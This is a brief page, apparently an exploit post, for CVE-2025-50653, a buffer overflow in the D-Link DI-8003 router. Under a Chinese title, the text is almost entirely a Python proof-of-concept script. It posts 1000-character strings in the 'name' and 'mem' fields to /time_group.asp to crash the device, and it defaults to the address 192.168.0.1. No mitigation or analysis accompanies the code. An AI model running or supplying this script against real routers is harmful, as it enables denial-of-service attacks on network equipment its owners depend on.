CVE-2025-50653 D-Link DI-8003缓冲区溢出漏洞

import requests def exploit_poc(target_ip): """ Proof of Concept for CVE-2025-50653 Triggers buffer overflow in D-Link DI-8003 via /time_group.asp """ target_url = f"http://{target_ip}/time_group.asp" # Create a long payload to trigger the overflow # Adjust length as necessary based on specific buffer size (e.g., 1000 bytes) payload = "A" * 1000 # Parameters vulnerable to buffer overflow data = { "name": payload, "mem": payload } try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, data=data, timeout=5) print(f"Response status code: {response.status_code}") # If the service crashes, the connection might be reset or timeout if response.status_code == 200: print("Request sent, check device status for crash.") else: print("Device responded unexpectedly.") except requests.exceptions.RequestException as e: print(f"Connection error (possible DoS): {e}") if __name__ == "__main__": # Replace with the target IP address target = "192.168.0.1" exploit_poc(target)